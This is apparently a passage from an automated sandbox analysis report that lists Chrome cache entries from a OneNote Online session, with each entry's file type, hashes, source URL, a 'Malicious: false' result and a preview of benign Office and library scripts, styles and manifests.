Preview:	var CommonStrings={qpsPloc_Name:"Pseudo",qpsPloca_Name:"Pseudo (Pseudo Asia)",qpsPlocm_Name:"Pseudo (Pseudo Mirrored)",afrikaans:"Afrikaans",albanian:"Albanian",alsatian:"Alsatian",amharic:"Amharic",arabic:"Arabic",arabic_Algeria:"Arabic (Algeria)",arabic_Bahrain:"Arabic (Bahrain)",arabic_Egypt:"Arabic (Egypt)",arabic_Iraq:"Arabic (Iraq)",arabic_Jordan:"Arabic (Jordan)",arabic_Kuwait:"Arabic (Kuwait)",arabic_Lebanon:"Arabic (Lebanon)",arabic_Libya:"Arabic (Libya)",arabic_Morocco:"Arabic (Morocco)",arabic_Oman:"Arabic (Oman)",arabic_Qatar:"Arabic (Qatar)",arabic_Saudi_Arabia:"Arabic (Saudi Arabia)",arabic_Syria:"Arabic (Syria)",arabic_Tunisia:"Arabic (Tunisia)",arabic_UAE:"Arabic (U.A.E.)",arabic_Yemen:"Arabic (Yemen)",armenian:"Armenian",assamese:"Assamese",azerbaijani:"Azerbaijani",azerbaijani_Cyrillic:"Azerbaijani (Cyrillic)",azerbaijani_Latin:"Azerbaijani (Latin)",bangla_Bangladesh:"Bangla (Bangladesh)",bangla_India:"Bangla (India)",bashkir:"Bashkir",basque:"Basque",belarusian:"Bela

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3147
Entropy (8bit):	5.883845445403374
Encrypted:	false
SSDEEP:	96:AXw1FTwReiZ1ZhojOyB+kRJRLnhnxawWyt:AXw1xwRTT6OG+kxnnahE
MD5:	BF54C6C78528E16FC0AD57914E63FDC8
SHA1:	A60018B4279E838668A077B6B97D58A4499EA0B6
SHA-256:	2D39D1B2762CD85B10719B18FC182CB4C0AC02C701DB51252CEC9A530208537A
SHA-512:	FCAE6C3CF1D6313627B5091B9114F4571B1F1FF12FA55E9F48AF93B53A6B1ED32F7DA3DCBFFB6CD24014A41D9A88A59460472605ABCCFF2FD44EE1EA061F206B
Malicious:	false
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/production/10/manifest.json
Preview:	{"clientVersion":"20241023.3","files":{"owl.js":["owl.5713dd8afbcd714f28fb.js","sha384-w4e2GtnecI7J3LMVXJzsHNxebPy7aT5eorFnGxkjvCAt/pBRt1pbofeK0dzPIAQT"],"owl.slim.js":["owl.slim.b75c2de5eee34f898531.js","sha384-ednudu6TfjFwhkZuYthMr5PPzuHKFfsI5uXcZScO1mAAJix7QvFHYI5jX7b+/LVb"],"owlnest.js":["owlnest.3dbdabff73823ee499b6.js","sha384-cJfzZ5dQxnK32RfWUaF32UHBQWoX41lGjt285R0w1Sn2Wi7Gz9gx+oUTX/R7jiIV"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.84ad1713c0ea7a00165f.js","sha384-IGP7KkdMWrLtvWIOyhiHT4CpkQ0+GQ2oCY9ja2zWxsPbJyVuvBVlu8wMEEEUP32b"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3831
Entropy (8bit):	5.120639874211328
Encrypted:	false
SSDEEP:	96:itGurLtJwqfjH6CIuRxs0gPhtxq+jLqXnvZQQ2:itGu3t+yb6CBUHN
MD5:	72D9A825554620C51BF0018A457E7F2E
SHA1:	23400E26C69A1F8A47236FFAD4BC80FC80BA773E
SHA-256:	365009220D893F07B356C7F253CECD5A9F7E06D6207A3DD7A148FC73812B4FE6
SHA-512:	9212035EFC74AD61A74FA806229E4A97BB9FB50698B0B15BD7296AD53B6A2C9A43D0A3E2082286F4AC60167E129E07CB511638A103C510DB3B5ADA6A383165A6
Malicious:	false
URL:	https://cdn.onenote.net/officeaddins/161821840453_Scripts/ExternalResources/js-cookie.js
Preview:	/!.. JavaScript Cookie v2.1.3.. * https://github.com/js-cookie/js-cookie.. .. Copyright 2006, 2015 Klaus Hartl & Fagner Brack.. * Released under the MIT license.. */..;(function (factory) {...var registeredInModuleLoader = false;...if (typeof define === 'function' && define.amd) {....define(factory);....registeredInModuleLoader = true;...}...if (typeof exports === 'object') {....module.exports = factory();....registeredInModuleLoader = true;...}...if (!registeredInModuleLoader) {....var OldCookies = window.Cookies;....var api = window.Cookies = factory();....api.noConflict = function () {.....window.Cookies = OldCookies;.....return api;....};...}..}(function () {...function extend () {....var i = 0;....var result = {};....for (; i < arguments.length; i++) {.....var attributes = arguments[ i ];.....for (var key in attributes) {......result[key] = attributes[key];.....}....}....return result;...}.....function init (converter) {....function api (key, value, attributes) {.....var res

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (12695)
Category:	downloaded
Size (bytes):	1336631
Entropy (8bit):	5.487199543462852
Encrypted:	false
SSDEEP:	24576:wL6eIbGhMkJTkjucy2jhfQHe3JQ6tyP7SsqYaHAAYWTAxQtdG/DrAi:wL6eWGhMkJTkjucy2jhfQHe3JQ6tyP7V
MD5:	2FCED6E6CD0963580F963BC4C20EE1B6
SHA1:	92AE09CA220AEBB5DB448911AAABEEB28D688E9E
SHA-256:	2D409FB1116C9A18791011CAF0B2AB2AB5C5F19CAF91C54BBF39BF7FF5DED27D
SHA-512:	1F60E52E9BE6FE29D05A5F19BEC538CDEE5AC2E937752BE52F38C2F0070694906C6D83AC1B871A5640C4D271B57F973DBDE6AC100854E53F1F52C83F7E6F978E
Malicious:	false
URL:	https://res.cdn.office.net/admincenter/admin-main/2024.10.17.1/floodgate.en.bundle.js
Preview:	!function(){var e,t,r,n,o,a={4676:function(e,t){e.exports={Form:{Cancel:()=>"Cancel",CommentPlaceholder:()=>"Please do not include any confidential or personal information in your comment",EmailPlaceholder:()=>"Email (optional)",Submit:()=>"Send",Title:()=>"Feedback to Microsoft",TemplateErrorMessage:()=>"One or more questions are required or the input is not valid"},Questions:{ContactMeQuestion:()=>"You may contact me about this feedback"},Common:{LoadingText:()=>"Loading, please wait..."},Error:{ErrorMessage:()=>"Survey failed to load"}};},6870:function(e,t){e.exports={CloseLabel:()=>"Close dialog",EmailTextFieldPlaceholder:()=>"Email (optional)",EmailTextFieldInputError:()=>"Email address is invalid",CommentTextFieldPlaceholder:()=>"Please do not include any confidential or personal information in your comment",CommentTextFieldMaxLengthText:e=>"."+e.remainingMaxLength+". of ."+e.maxLength+". characters remaining",EmailConsentCheckboxLabel:()=>"You can contact me about this f

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	347
Entropy (8bit):	5.423787827828979
Encrypted:	false
SSDEEP:	6:Yq0qjbQr6pjLpsSFHWD7XvZPP7BA02Jhv7883oP8zrpHqYw8Ve0pcVlhIvY:Yq0+0mtiSFH4137BA0chDToParpHuSkB
MD5:	9568708138EA63DFFB2A293576BAE7F1
SHA1:	E1FA91B8CD9C391E95845156F9311AA23A2EC147
SHA-256:	051EC6A2AB95B0E7BD957A81584E633B0E184B159B7BFAEB48EC3D07DCF85408
SHA-512:	43CA25C6BCEBAD40BA4CDA9E585A6F4A65E06D520DC957DB810742A22318056C1FECB6EDC23B7B3B2E95F5B6197AE1D3FF33B886C25312034765388AA7883011
Malicious:	false
URL:	https://ecs.office.com/config/v1/OneShell/1.0.0.0?agents=OneShell&IsConsumer=true&WorkloadId=OneNoteOnline&TenantId=84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa&UserId=null&UPN=null
Preview:	{"OneShell":{"UpdatedConsumerAppList":true,"M365StartEnabled":true,"DisableM365StartIntentsModule":false,"default":true},"Headers":{"ETag":"\"8M6C3IBLtb8mwT1KNreplkZ/i0rFbbeiyWPkxzwWrg0=\"","Expires":"Fri, 25 Oct 2024 09:19:15 GMT","CountryCode":"US","StatusCode":"200"},"ConfigIDs":{"OneShell":"P-R-1157040-4-8,P-R-1131228-4-17,P-D-1117449-1-4"}}

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (28488)
Category:	downloaded
Size (bytes):	409584
Entropy (8bit):	4.820651785868298
Encrypted:	false
SSDEEP:	3072:xsJOrFbk0FqwYDP3VefEWqldpPkTGzHx1AHLRobnRGe+Wqddp4sXfsXJsGC7ag/X:a8rFyVUGJZxg6Q6GObjO
MD5:	1E4F97EA439FFDD90F9546620038D5D4
SHA1:	E36215A823445A6CA7E0C9AB4E4C3C04C44289AB
SHA-256:	DDF9B6FBE337192EE7334115B15D604DB9778202B7D28FAABB96E10D8F55E3C8
SHA-512:	618032088824727B6C2F1E5BFE04F82C111B08EAEE3F2AB496BB51B1A318377A1417CD1A07833AD729397CB41FA5EF66D58DA189B0A5D53FABC04B35F5A15B5D
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/1033/onenote-ribbon-intl.min.js
Preview:	var OnenoteRibbonStrings={About:"About",AboutKeytip:"D",Accessibility:"Accessibility",AddInsKeytipPrefix:"Y",AdditionalControls:"Additional Controls",AlignLeft:"Align Left",AlignLeftKeytip:"AL",AlignRight:"Align Right",AlignRightKeytip:"AR",AltText:"Alt Text",AltTextKeytip:"E",AltTextTableStandalone:"Edit Table Alt Text",AudioTabTitle:"Record & Playback",AutoCorrectOptions:"AutoCorrect Options...",AutoCorrectOptionsKeytip:"AC",Automatic:"Automatic",AutomaticKeytip:"A",Back15Seconds:"Back 15 Seconds",Back15SecondsKeytip:"B",Bold:"Bold",BoldKeytip:"1",BrowseVersions:"Page Versions",BrowseVersionsKeytip:"V",BulletLibraryTitle:"Bullet Library",BulletStyle1:"Solid",BulletStyle1Keytip:"S",BulletStyle2:"Hollow",BulletStyle2Keytip:"H",BulletStyle3:"Square",BulletStyle3Keytip:"B",ButtonOfficeAddins:"Office Add-ins",CentimeterUnitPlaceholder:"{0} cm",Checklist:"Checklist",ChecklistKeytip:"CL",BulletedList:"Bulleted list",BulletedListKeytip:"BL",NumberedList:"Numbered list",NumberedListKeytip:"NL

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27024), with CRLF line terminators
Category:	downloaded
Size (bytes):	27026
Entropy (8bit):	5.536845977615562
Encrypted:	false
SSDEEP:	384:ne7LRwe03wCS8V012RwlKzXicngH8I4qIZD3338z3YSzK1/0:ne756VnzZbI6Dn8z3YWd
MD5:	A230E20FEECBB758D7C13303A657EEDD
SHA1:	F12606CCE8600D9DFB5316610EE5177BA51B0CE9
SHA-256:	816A0F42A2BF473213A47BE1DDE62215811D54AF1151A1E9916DC215DF6EC776
SHA-512:	1C6F7288BEBAB71D8B6C7CE21D5F1FAA53C6710FAF1A0F611C0313E71BD5DB17A304E433686836AB2EEAE0E0ACBDDEAA2E1E82EDE54145520542C0361066FEE0
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/h816A0F42A2BF4732_resources/1033/EditSurface.css
Preview:	FocusedContentControl{margin:0;padding:0;}.EditingSurfaceBody{background-color:transparent;border:none;outline:none;}.EditingSurfaceBody,.EditingSurfaceBody {-ms-touch-select:none;-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-ms-user-select:text;}.EditMode span.SpellingError,.EditingSurfaceBody span.SpellingError{background-image:url('data:image/gif;base64,R0lGODlhBQAEAJECAP////8AAAAAAAAAACH5BAEAAAIALAAAAAAFAAQAAAIIlGAXCCHrTCgAOw==');border-bottom:solid 1px transparent;}.EditMode span.DictationCorrection,.EditingSurfaceBody span.DictationCorrection{background-image:url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='3' height='4'><path d='M 0 0 L 5 5' stroke='gray' stroke-width='1px'/></svg>");border-bottom:solid 1px transparent;}.EditMode span.ContextualSpellingAndGrammarError,.EditingSurfaceBody span.ContextualSpellingAndGrammarError{background-image:url('data:image/gif;base64,R0lGODlhBQAEAPEDAABVzDNVzDNV/wAAACH5BAUAAAMALAAAAAAFAAQ

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	5.138744724685597
Encrypted:	false
SSDEEP:	48:c8Ax81yL73bao2Q6tSJ1/2VaObOxMq9F1zt82LFjnpAz12IezmU+J2QezcNVF:tAMy/Laox116q9F1ztFNnpAz1KzGD
MD5:	03FD32F2E28EBDE4EC38156C83EEEE10
SHA1:	518410F8BC555BC44E361CD50A4F20366896A36E
SHA-256:	3CB6C640746A34590CC7FAA34E0FF24804AA947927DCAB6E50CDE0902033E421
SHA-512:	ADD9342EAA18BDE5C66DA20C28A78B03A30E4DA311F56DFF3F3EF197727697E164E6CF82EDBBA9518D2CBDF706C7016857D9004B654D7F112A641B09BFDEF6A5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">. <Id>8ef9aa39-de6e-4fb7-841a-f0f08546d398</Id>. <Version>1.0.0.0</Version>. <ProviderName>Microsoft Office Services</ProviderName>. <DefaultLocale>en-US</DefaultLocale>. <DisplayName DefaultValue="Copilot"/>. <Description DefaultValue="Copilot"/>. <IconUrl DefaultValue=""/>. <HighResolutionIconUrl DefaultValue=""/>. <AppDomains>. <AppDomain>https://fa000000128.resources.office.net</AppDomain>. <AppDomain>https://res.cdn.office.net</AppDomain>. <AppDomain>https://res.sdf.cdn.office.net</AppDomain>. <AppDomain>https://res-h3.sdf.cdn.office.net</AppDomain>. <AppDomain>https://res-h3.public.cdn.office.net</AppDomain>.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	144348
Entropy (8bit):	5.370495033348894
Encrypted:	false
SSDEEP:	3072:Xz+Blg9MUrK+1OHJe6SNmGli0uuK1ouWb0y9KhlJ31uCp3rNVa:XzMlgldOHJwAa3hXijp+
MD5:	9747CFD352DC4A728F7197577D939A01
SHA1:	A86856D0FB47046A9578FBCF1B3F4846684C10FF
SHA-256:	776C63720217ABF62AB3945E9AD5FD66C97CEBB88F5A2AD225867B85D9BA08F3
SHA-512:	701F414F67BEFDF8B109561302FB726286DEBB854F334FC211DAA22E539F9DEB97323D3342E8C139D0DCC645A256737489C834F5E39158897616EE7D62642975
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/onenote-boot.9dad85753ad10c8adae2.js
Preview:	var Microsoft="object"==typeof Microsoft?Microsoft:{};Microsoft.Office=Microsoft.Office\|\|{},Microsoft.Office.OneNote=function(t){var e={};function i(s){if(e[s])return e[s].exports;var o=e[s]={i:s,l:!1,exports:{}};return t[s].call(o.exports,o,o.exports,i),o.l=!0,o.exports}return i.m=t,i.c=e,i.d=function(t,e,s){i.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:s})},i.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},i.t=function(t,e){if(1&e&&(t=i(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var s=Object.create(null);if(i.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)i.d(s,o,function(e){return t[e]}.bind(null,o));return s},i.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return i.d(e,"a",e),e},i.o=function(t,e){return Object.prototype.hasOwnPro

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 222 x 204, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6336
Entropy (8bit):	7.887073484659419
Encrypted:	false
SSDEEP:	192:wx46x27I7L8lRcTx3HCHBDA3B6VHj6V+Jcj:Ktv8lROx34ZA3B6VH+kO
MD5:	5D71229F6CA9EBFF5F7972F01B547C7C
SHA1:	4D71B33506E6F0EBA1C783DE37E36480F2E392BE
SHA-256:	ABC0FA95B72F082CF4FBB18267CDBD282F2909B65B1B479D7F339DB41769946E
SHA-512:	31915EB859D432D714CAA2DFF74B7E760DFFE3A672CD872EB8CF07EDDC3B544578640C315CD47802B34F4BF06B31D290C9CBEAB228BC1FA64BDAF36DC523273A
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_resources/1033/m2/box42.png
Preview:	.PNG........IHDR..............y.'....IDATx^.....y.....)...5..MT....6./..f.m,@......W.A...o&..$.Q."7............ 0k.VdI..VL.`...w.k\|;...u....=.sf.~....s.9g/w..9.<.93..".H$]]..ttt......7g.ys.0}zg..3u....E.$C...G....\|'N...jk.f.....i..X0....X8....C....^;v..:..:.a.m....rz.x<..c..q..>..S...t.s....<...o..Cw.y......<x...*....6e........3.._..9H.f..}.._......m.F.#.Wd...(.J........\|yB....\|...+."O+.B.=..^.6-cK...\|./.t..m .f._...F.E.oum\..>.7l..l.<.f..[.H.mZFiC...-_..#....[.d..{........Z.~dd.......t.../`S.^.z...........-....Gm...n....m..2...#n!%..Ci.j..t....7..M...........8t.......^..h..d..]a.....K....L.....x6\|6xM.s.M.../.]...=..........<4..l.......e......>J1.....D.;w.\|..fY...x........m....W.+...9.Q>S.l..J.U.f0..._Z..Y....._s.O..!.2....u&..zo.z.-..>S..p....... .....x=u..2.M.jGb..G9.V.<;d."x@...@.......c.f.p......5....ZQ..8].<^.)c..f(.W....[...^.....gCW&.$i...I.&x.0.~8..!.x.t../>.c..:.(..cN..]XD..-...gk{.gCW9....<.'.l.... ..v.........<.....).

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	421076
Entropy (8bit):	5.583580815311071
Encrypted:	false
SSDEEP:	6144:pwp9bJkWfIMi3GLoY56k4FHhQNUQOeQeYm9XYd3U1:pw5fIx3GLoY5yHheUQbn9XY6
MD5:	8017EFC165ED5E4071013E77982A10E7
SHA1:	503B6090E3741A1423D1C03962304A5128ADACC2
SHA-256:	9AFD741D5FF23189871E012B80CEBFBB8E220044555372CA0FE0979C94707624
SHA-512:	302EB07B9FC306FEFDB4C773D87A3A38065158AAD9DC8DDB37431487DC2767983C6B3569BB209CD8E02C12ADED4985D10D3590B29CE45DE6C0C9DD2D5D96A52C
Malicious:	false
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,s){try{var a=e[i](s),l=a.value}catch(e){return void o(e)}a.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function s(e){asyncGeneratorStep(i,n,r,s,a,"next",e)}function a(e){asyncGeneratorStep(i,n,r,s,a,"throw",e)}s(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3147
Entropy (8bit):	5.883845445403374
Encrypted:	false
SSDEEP:	96:AXw1FTwReiZ1ZhojOyB+kRJRLnhnxawWyt:AXw1xwRTT6OG+kxnnahE
MD5:	BF54C6C78528E16FC0AD57914E63FDC8
SHA1:	A60018B4279E838668A077B6B97D58A4499EA0B6
SHA-256:	2D39D1B2762CD85B10719B18FC182CB4C0AC02C701DB51252CEC9A530208537A
SHA-512:	FCAE6C3CF1D6313627B5091B9114F4571B1F1FF12FA55E9F48AF93B53A6B1ED32F7DA3DCBFFB6CD24014A41D9A88A59460472605ABCCFF2FD44EE1EA061F206B
Malicious:	false
Preview:	{"clientVersion":"20241023.3","files":{"owl.js":["owl.5713dd8afbcd714f28fb.js","sha384-w4e2GtnecI7J3LMVXJzsHNxebPy7aT5eorFnGxkjvCAt/pBRt1pbofeK0dzPIAQT"],"owl.slim.js":["owl.slim.b75c2de5eee34f898531.js","sha384-ednudu6TfjFwhkZuYthMr5PPzuHKFfsI5uXcZScO1mAAJix7QvFHYI5jX7b+/LVb"],"owlnest.js":["owlnest.3dbdabff73823ee499b6.js","sha384-cJfzZ5dQxnK32RfWUaF32UHBQWoX41lGjt285R0w1Sn2Wi7Gz9gx+oUTX/R7jiIV"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.84ad1713c0ea7a00165f.js","sha384-IGP7KkdMWrLtvWIOyhiHT4CpkQ0+GQ2oCY9ja2zWxsPbJyVuvBVlu8wMEEEUP32b"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	567080
Entropy (8bit):	5.293882251364021
Encrypted:	false
SSDEEP:	6144:QsU8F+Cr0McyWenNJqpjIT6F+8MX/izVc+2zcu55DgdhHdbKTgvuuVEL:QsU8MCr0MfYwO+8MX/iG3ysTgvur
MD5:	D0088929A1883CDCE38D9FF173DA5D0E
SHA1:	525C99223C38786C06433DD7C18AD4C7731A950F
SHA-256:	DA5BE621BA6D7C6398D682ADF7B923924C904B2593190FF0DF8E8679EAA02788
SHA-512:	3040E5E3C0D82BFDD4122E293CE2D0336681E03D20F0D6AEADD0289A880F10C86B6A6483F968C0ACC35839E6E73314CB3768FD9B4D72E6D76194BFAE3C3247F2
Malicious:	false
Preview:	!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).augLoop=e()}}((function(){return function e(t,n,o){function r(a,s){if(!n[a]){if(!t[a]){var u="function"==typeof require&&require;if(!s&&u)return u(a,!0);if(i)return i(a,!0);var c=new Error("Cannot find module '"+a+"'");throw c.code="MODULE_NOT_FOUND",c}var l=n[a]={exports:{}};t[a][0].call(l.exports,(function(e){return r(t[a][1][e]\|\|e)}),l,l.exports,e,t,n,o)}return n[a].exports}for(var i="function"==typeof require&&require,a=0;a<o.length;a++)r(o[a]);return r}({1:[function(e,t,n){"use strict";var o=e("exportStarHelper");Object.defineProperty(n,"__esModule",{value:!0}),o(e(2),n)},{2:2}],2:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.isStopWorkflowMessage=n.setStopAndFilterWorkflowMessage=n.setMessageE

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7708)
Category:	dropped
Size (bytes):	7758
Entropy (8bit):	5.292923747247591
Encrypted:	false
SSDEEP:	192:WNKQZFYtPbTUqrbRPgDVAz6kJxbtPk5UTR4S:WgtPbTUwbRPGVS6kJxbRkaTR5
MD5:	DDD63B48AF585746957581C2465786B8
SHA1:	D57B0B43445D410B476B2FE9EB6C685E297851AE
SHA-256:	1F40B9A806FAA70C1C142A9AD7EB4EAA84A3F3A18184ADFF6AEA4B21A2C60A9D
SHA-512:	9E20DC9F4B42636A3DC0D0DE01AA46BF5CE909B2DC8A3520C8B5B76D3EB40324D2CF9008B1AFAB3377BADC2826645BA68817CA2B1C228828B7A1C7CE96B68672
Malicious:	false
Preview:	var appResourceLoader;!function(){"use strict";var e,n,t,o,r={61435:function(e,n,t){t.r(n),t.d(n,{init:function(){return c.Ts},loadChunk:function(){return g},loadIntlBootResources:function(){return a}});var o=t(33959);let r,i=!1;function a(e){const n="onenote-ribbon-intl.min.js";return i\|\|(r=(0,o.loadScript)(n,e.scriptBaseUrl.concat(n),void 0,5),i=!0),r}var c=t(81934);const s="appChrome",u="canvasAtMentions",l="loopLoadingManager",d="navigation",f="onenote-navpane-strings",p="onenote-ribbon-intl",h="onenote-whatsnew-strings",m="sharedComments",b="comment-pane-strings",v="hyperlinkFloatie",y={[s]:{dependencies:[p]},[l]:{},[v]:{},[m]:{dependencies:[b]},[u]:{dependencies:[b]},[d]:{dependencies:[f,h]},[p]:{isLocalized:!0},"onenote-ribbon-intl-fluent":{isLocalized:!0},"onenote-ribbon-sprite-lazy":{isLocalized:!0},"onenote-ribbon-sprite-lazy-fluent":{isLocalized:!0},"onenote-ribbon-intl-lazy":{isLocalized:!0},"onenote-ribbon-intl-lazy-fluent":{isLocalized:!0},"onenote-intl-mlr-lazy":{isLocal

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (28488)
Category:	dropped
Size (bytes):	409584
Entropy (8bit):	4.820651785868298
Encrypted:	false
SSDEEP:	3072:xsJOrFbk0FqwYDP3VefEWqldpPkTGzHx1AHLRobnRGe+Wqddp4sXfsXJsGC7ag/X:a8rFyVUGJZxg6Q6GObjO
MD5:	1E4F97EA439FFDD90F9546620038D5D4
SHA1:	E36215A823445A6CA7E0C9AB4E4C3C04C44289AB
SHA-256:	DDF9B6FBE337192EE7334115B15D604DB9778202B7D28FAABB96E10D8F55E3C8
SHA-512:	618032088824727B6C2F1E5BFE04F82C111B08EAEE3F2AB496BB51B1A318377A1417CD1A07833AD729397CB41FA5EF66D58DA189B0A5D53FABC04B35F5A15B5D
Malicious:	false
